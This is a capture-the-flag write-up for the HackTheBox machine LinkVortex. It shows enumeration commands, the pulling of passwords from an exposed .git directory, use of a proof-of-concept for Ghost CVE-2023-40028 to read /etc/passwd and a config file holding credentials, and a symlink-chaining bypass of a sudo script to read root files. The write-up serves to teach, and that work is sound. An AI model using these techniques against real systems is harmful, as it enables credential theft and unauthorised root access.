LinkVortex HacktheBox Writeup

LinkVortex HacktheBox Writeup
Photo by Joe Ciciarelli / Unsplash

Summary

LinkVortex is an easy level machine on HacktheBox. It involves exploiting a known vulnerability involving symlinks in the Ghost CMS, then exploiting sudo permissions to read files using symlinks. Let's jump into the LinkVortex πŸ˜„

Note: I went back to grab some commands & screenshots for this write-up. So, the target IP & time stamps may not match up each time.

Enumeration && Foothold

First, we start off with a port scan on the given IP address.

β”Œβ”€[us-dedivip-1]─[10.10.14.90]─[sleepystitch33@htb-rgicbcxqve]─[~]
└──╼ [β˜…]$ sudo nmap -sC -sV 10.129.204.65 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 13:29 CST
Nmap scan report for 10.129.204.65
Host is up (0.0086s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds

Nmap port scan of the given host

From the results, we can see that port 22 is open for ssh & port 80 is open running a web server. The results also provide us with a domain name & due to the nature of hackthebox labs, we need to add it to our /etc/hosts file. We use our favorite text editor to do so on our system (i <3 vim):

sudo vim /etc/hosts
# add the IP address and hostname to resolve within the file. for example:
10.129.204.65 linkvortex.htb

Now that we have added the hostname to our hosts file, linkvortex.htb should resolve to the IP that we specified (our target IP). So, we can enumerate it in the browser:

Ghost CMS login screen
Ghost CMS in browser

Something that we should always check for would be the existence of vhosts or subdomains. We can do that using FFUF. If you are new to enumerating subdomains & vhosts, freeCodeCamp has an excellent resource

[β˜…]$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.129.84.80 -H "HOST: FUZZ.linkvortex.htb" -fs 230

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.84.80
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 230
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 9ms]
:: Progress: [4614/4614] :: Job [1/1] :: 4651 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

Enumerating subdomains

Now that we have identified the subdomain "dev.linkvortex.htb" we need to add it to our /etc/hosts as well. After we do that, let's run an automated tool to enumerate any directories & pages on the host. My go-to tool for this is gobuster:

β”Œβ”€[us-dedivip-1]─[10.10.14.138]─[sleepystitch33@htb-mctwqruy2v]─[~]
└──╼ [β˜…]$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://dev.linkvortex.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.linkvortex.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.git/HEAD            (Status: 200) [Size: 41]
/.htpasswd            (Status: 403) [Size: 199]
/cgi-bin/             (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 2538]
/server-status        (Status: 403) [Size: 199]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Directory enumeration / Brute Force

In the output from our directory enumeration, we can see that a .git directory is exposed on the web server. This directory can sometimes contain secrets, keys, or passwords along with code. Let's go ahead and download the full .git directory. There are many tools for this purpose, but I just used wget:

β”Œβ”€[us-dedivip-1]─[10.10.14.138]─[sleepystitch33@htb-mctwqruy2v]─[~/new]
└──╼ [β˜…]$ wget -r http://dev.linkvortex.htb/.git
--2025-04-12 13:02:21--  http://dev.linkvortex.htb/.git
Resolving dev.linkvortex.htb (dev.linkvortex.htb)... 10.129.84.80
Connecting to dev.linkvortex.htb (dev.linkvortex.htb)|10.129.84.80|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://dev.linkvortex.htb/.git/ [following]
--2025-04-12 13:02:21--  http://dev.linkvortex.htb/.git/
Reusing existing connection to dev.linkvortex.htb:80.
HTTP request sent, awaiting response... 200 OK
Length: 2796 (2.7K) [text/html]
Saving to: β€˜dev.linkvortex.htb/.git’
---------- TRUNCATED -------

Once we have the full directory downloaded, let's cd into it & use git diff along with a grep to output all case-insensitive instances of the word "password"

Git diff shows the differences between commits, so maybe we'll find where a password was added or removed, etc. This defaults to showing the output in less, so that's why we pipe it to grep. There are likely more sophisticated & efficient ways to do this, as this method takes some scrolling to find the information that we need. It does give us a few extra passwords though, & at this point we don't know exactly what we are looking for, so any extra info can be helpful.

cd dev.linkvortex.htb
git diff -S β€œpassword” | grep -ni β€œpassword”

Mining for gold (searching for passwords)

Output from git diff -S "password" | grep -ni "password"

Now, we have identified several passwords, but one sticks out: OctopiFociPilfer45

CVE-2023-40028

Now that we have a password, we can try to get more information from the web server. Viewing the source in our web browser (Right click, view source), we can see that it is running Ghost version 5.58.

After some research, we find that there is a CVE assigned to an arbitrary file read vulnerability on this version of Ghost. There is also a proof of concept script available on GitHub from . This is a good time to pause & say, NEVER RUN SCRIPTS THAT YOU DON'T UNDERSTAND.

What I did in this situation, was review the script to make sure it did nothing malicious on my system. I also choose to only run any sort of exploit code in an isolated system, & never my host operating system. Next, I edited it to point at the linkvortex.htb target, set it to executable, then ran it using the username "admin" and the password "OctopiFociPilfer45" that we retrieved in the last step. This script exploits the arbitrary file read vulnerability to provide us with a 'shell' that can read different files on the system. So, the first thing that we should do is try to identify usernames. We can do this by reading /etc/passwd

β”Œβ”€[us-dedivip-1]─[10.10.14.138]─[sleepystitch33@htb-mctwqruy2v]─[~/Downloads]
└──╼ [β˜…]$ ./CVE-2023-40028.sh -uadmin@linkvortex.htb -pOctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file> 

Unfortunately, this doesn't give us any good username to try to check for password reuse on ssh or anything like that. So, next we dig into the Ghost documentation to try to find where different config files might live. One other thing that I like to do if I am unfamiliar with the technology stack is to install a default version of it. If we do a fresh install of the docker container, then we can see that the config files for the docker version live in /var/lib/ghost. To install the docker container & execute commands in it:

sudo apt install docker.io
sudo docker run -d --name some-ghost -e NODE_ENV=development ghost
sudo docker exec -it /some-ghost /bin/bash
ls

From there, we know what files to look for & we can get a username & password for the box. In this case it is bob:fibber-talented-worth

file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
file> 

To get the user flag & access to the machine as bob, we can ssh in with these credentials:

SSH into the machine as bob

Privilege Escalation

Now that we have user access on the machine, we need to look for ways to escalate our privileges or move laterally. What we find is that bob has sudo permissions to run a specific script on the system.

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

The next step is to read & analyze the script:

bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh 
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

It looks like the script cleans symlinks, & checks for an environment variable CHECK_CONTENT. If CHECK_CONTENT is true, then it will read the content of the quarantined symlink. We also can see that sudo will keep the environment variable for CHECK_CONTENT (env_keep+=CHECK_CONTENT). There are also checks to make sure that we are not trying to read sensitive files such as /etc/shadow or anything in /root. We can actually get around that logic by creating one symlink that points at /root/root.txt for example, then another that points at the symlink that we just created. For example, we can create a symlink image1.png that points to /root/root.txt then another symlink, image2.png that points to image1.png. Then, we can run the script against image2.png to hopefully gain access to sensitive files with root permissions:

bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ echo $CHECK_CONTENT
true
bob@linkvortex:~$ ln -s /root/root.txt /home/bob/image1.png
bob@linkvortex:~$ ln -s /home/bob/image1.png /home/bob/image2.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh image2.png 
Link found [ image2.png ] , moving it to quarantine
Content:
e18df84b9483265121903ff3c7a84875
Reading root files by exploiting sudo permissions

That's it! We successfully read the root flag from /root.

If we wanted to get a shell as root, we could read the id_rsa key for root & ssh into the machine or read /etc/shadow & try to crack the root password.